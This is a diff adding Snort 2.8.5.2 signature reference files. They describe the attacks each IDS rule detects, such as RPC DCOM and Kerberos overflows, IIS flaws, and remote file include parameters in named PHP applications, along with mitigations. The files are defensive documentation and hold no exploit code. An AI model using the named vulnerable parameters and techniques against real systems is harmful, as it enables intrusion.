+++ snort-2.8.5.2/doc/signatures/1487.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1487
+
+
+--
+Summary:
+This event is generated when an attempt is made to request an HTTP-based password change.
+
+--
+Impact:
+Information gathering/remote access.  Error messages from failed password changes can indicate whether a given account exists on the server.  Successful password changes can allow remote access to the server. 
+
+--
+Detailed Information:
+Microsoft Internet Information Services (IIS) Version 4 supplies a feature to allow users to make remote password changes.  The iisadmpwd directory has several .HTR files that are used to implement the password changes.  An attacker can request a change and use a returned form to supply an account name, existing password, and new password either to brute force changes or discover whether a specific account name exist. 
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0
+
+--
+Attack Scenarios:
+An attacker can request password changes to discover existing accounts or brute force password changes.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the IISADMPWD virtual directory to disable remote password changes.
+
+Consider running the IIS Lockdown Tool to disable HTR functionality.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0407
+
+Bugtraq
+http://www.securityfocus.com/bid/2110
+
+--
--- snort-2.8.5.2.orig/doc/signatures/396.txt
+++ snort-2.8.5.2/doc/signatures/396.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+396
+
+--
+
+Summary:
+This event is generated when an ICMP Destination Unreachable Fragmentation Needed datagram is detected on the network.  Gateway devices normally generate these ICMP messages when the destination network requires fragmentation before the datagram can be forwarded by a gateway.
+
+--
+
+Impact:
+This ICMP message will be generated when the destination network specified in the datagram requires fragmentation and the DF bit is set on the datagram.  This could be an indication of improperly configured network hosts.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1898.txt
+++ snort-2.8.5.2/doc/signatures/1898.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1898
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2515.txt
+++ snort-2.8.5.2/doc/signatures/2515.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2515
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of the Private
+Communications Transport (PCT) protocol.
+
+--
+Impact:
+Execution of arbitrary code. Unauthorized administrative access to an
+affected host.
+
+--
+Detailed Information:
+A vulnerability exists in the handling of PCT requests that
+can be manipulated to give an attacker the opportunity to execute
+arbitrary code of their choosing leading to a possible remote
+administrative compromize of an affected host.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003 and XP systems using PCT
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted PCT request to an affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the use of PCT
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/896.txt
+++ snort-2.8.5.2/doc/signatures/896.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+896
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1637.txt
+++ snort-2.8.5.2/doc/signatures/1637.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1637
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/971.txt
+++ snort-2.8.5.2/doc/signatures/971.txt
@@ -0,0 +1,62 @@
+Rule:
+--
+Sid:
+971
+
+--
+
+Summary:
+This event is generated when an attempt is made to compromise a web 
+server running IIS 5.0 by exploiting the ".printer" bug.
+
+--
+Impact:
+Serious. Remote unauthorized administrative access.
+
+--
+Detailed Information:
+With the increasing pervasion of the Internet, vendors are adding 
+features into their software to support the networked world.  
+Microsoft's initial implementation of one such feature were the 
+".printer" extensions on IIS 5.0 that first shipped with Windows 2000.
+
+A bug exsisted in the initial release that could result in remote system
+level access to the web server.  A patch has been released that fixes 
+this bug.
+
+--
+Attack Scenarios:
+A hacker could use this vulnerability to get a remote, system level 
+command prompt on the server.
+
+--
+Ease of Attack:
+Simple. Exploit software exists.
+
+--
+False Positives:
+There are legitimate uses of the ".printer" feature, though it is 
+unknown how widely it is used.  You should know if this feature is 
+implemented on your web servers.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Install latest patches from the vendor, or disable the ".printer" extensions using the IIS administration tool.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Vendor Security Bulletin: MS01-023
+Bugtraq Archive: url,http://www.securityfocus.com/archive/1/181937
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3304.txt
+++ snort-2.8.5.2/doc/signatures/3304.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3304
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1604.txt
+++ snort-2.8.5.2/doc/signatures/1604.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1604
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3075.txt
+++ snort-2.8.5.2/doc/signatures/3075.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3075
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"unsubscribe" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2578.txt
+++ snort-2.8.5.2/doc/signatures/2578.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2578
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a heap overflow
+associated with Kerberos V5.
+
+--
+Impact:
+A successful attack may cause a heap overflow, permitting the execution of
+arbitrary code.
+
+--
+Detailed Information:
+When Kerberos V5 uses a non-default configuration of enabling rules-based
+mapping, it is possible to cause a heap overflow and the subsequent
+execution of arbitrary code on the vulnerable host.  The attacker has
+to successfully authenticate in order to exploit the vulnerability.
+If an attacker supplies an overly long principal name, it may be possible
+to cause a heap overflow on the vulnerable Kerberos-enabled server.
+
+--
+Affected Systems:
+MIT Kerberos V5 including krb5-1.3.3
+
+--
+Attack Scenarios:
+An attacker authenticates to the Kerberos server and later supplies
+an overly long principle name when attempting to connect to a server
+that employs Kerberos authentication. This can cause a heap overflow
+and subsequent execution of code on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Dan Roelker <dan.roelker@sourcefire.com>
+
+--
+Additional References
+
+Other:
+http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2004-001-an_to_ln.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000638.txt
+++ snort-2.8.5.2/doc/signatures/100000638.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000638
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_export.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_export.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2829.txt
+++ snort-2.8.5.2/doc/signatures/2829.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2829
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_repobject
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/692.txt
+++ snort-2.8.5.2/doc/signatures/692.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3161.txt
+++ snort-2.8.5.2/doc/signatures/3161.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3161
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2497.txt
+++ snort-2.8.5.2/doc/signatures/2497.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2497
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/798.txt
+++ snort-2.8.5.2/doc/signatures/798.txt
@@ -0,0 +1,62 @@
+
+Rule:  
+
+--
+Sid:
+798
+
+--
+Summary:
+This rule has been placed in deleted.rules. It has been superceded by
+sid 721.
+
+--
+Impact:
+Mail worms may spread rapidly because users execute them.
+
+--
+Detailed Information:
+Windows systems are often configured not to display file extensions.
+By adding a second extension, users get confused and think that an
+executable is a picture - e.g. nicegirl.gif.vbs gets displayed as
+nicegirl.gif but is a visual basic script and not a picture.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Famous worms (ILOVEYOU, KOURNIKOVA) are based on this method.
+
+--
+Ease of Attack:
+Very easy. One needs to attach a file and hope that it gets executed.
+
+--
+False Positives:
+None Known
+Could be an error on sender's side.
+
+--
+False Negatives:
+None Known
+-
+
+--
+Corrective Action:
+Use antivirus software. Configure mail clients securely, especially when
+using windows desktops. Educate your mail users. Deny all attachments at
+the gateway if you can.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by tobias.haecker@to.com
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+See websites of antivirus companies.
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000668.txt
+++ snort-2.8.5.2/doc/signatures/100000668.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000668
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "pheader.php" using a remote file being passed as the 
+"theme_root" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "theme_root" parameter in the "pheader.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3325.txt
+++ snort-2.8.5.2/doc/signatures/3325.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3325
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2799.txt
+++ snort-2.8.5.2/doc/signatures/2799.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2799
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure relocate_masterdef
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000458.txt
+++ snort-2.8.5.2/doc/signatures/100000458.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000458
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "DPVision Tradingeye Shop" application running 
+on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "image" parameter in the "details.cfm" script 
+used by the "DPVision Tradingeye Shop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using DPVision Tradingeye Shop
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
